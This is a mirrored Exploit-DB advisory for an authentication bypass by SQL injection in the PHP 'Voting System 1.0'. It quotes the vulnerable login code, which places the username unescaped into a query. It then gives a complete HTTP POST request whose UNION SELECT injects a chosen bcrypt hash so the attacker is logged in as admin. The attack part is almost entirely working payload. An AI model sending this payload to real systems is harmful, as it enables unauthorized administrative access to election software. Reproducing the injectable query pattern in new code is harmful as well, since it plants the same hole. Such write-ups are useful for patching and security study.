Voting System 1.0 – Authentication Bypass (SQLI) - 体验盒子

作者： secure77

日期： 2021-05-07

类别：

webapps

平台：

php

来源：https://www.exploit-db.com/exploits/49843/

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# Exploit Title: Voting System 1.0 - Authentication Bypass (SQLI)

# Date: 06/05/2021

# Exploit Author: secure77

# Vendor Homepage: https://www.sourcecodester.com/php/12306/voting-system-using-php.html

# Software Link: https://www.sourcecodester.com/download-code?nid=12306&title=Voting+System+using+PHP%2FMySQLi+with+Source+Code

# Version: 1.0

# Tested on: Linux Debian 5.10.28-1kali1 (2021-04-12) x86_64 // PHP Version 7.4.15 & Built-in HTTP server // mysql Ver 15.1 Distrib 10.5.9-MariaDB

You can simply bypass the /admin/login.php with the following sql injection.

All you need is a bcrypt hash that is equal with your random password, the username should NOT match with an existing

########################### Vulnerable code ############################

if(isset($_POST['login'])){

$username = $_POST['username'];

$password = $_POST['password'];

$sql = "SELECT * FROM admin WHERE username = '$username'";

$query = $conn->query($sql);

if($query->num_rows < 1){

$_SESSION['error'] = 'Cannot find account with the username';

}

else{

$row = $query->fetch_assoc();

echo "DB Password: " . $row['password'];

echo "<br>";

echo "Input Password: " . $password;

if(password_verify($password, $row['password'])){

echo "Equal";

$_SESSION['admin'] = $row['id'];

}

else{

echo "not Equal";

$_SESSION['error'] = 'Incorrect password';

}

else{

$_SESSION['error'] = 'Input admin credentials first';

}

########################### Payload ############################

POST /admin/login.php HTTP/1.1

Host: 192.168.1.1

DNT: 1

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

Accept-Encoding: gzip, deflate

Accept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7

Cookie: PHPSESSID=tliephrsj1d5ljhbvsbccnqmff

Connection: close

Content-Type: application/x-www-form-urlencoded

Content-Length: 167

login=yea&password=admin&username=dsfgdf' UNION SELECT 1,2,"$2y$12$jRwyQyXnktvFrlryHNEhXOeKQYX7/5VK2ZdfB9f/GcJLuPahJWZ9K",4,5,6,7 from INFORMATION_SCHEMA.SCHEMATA;-- -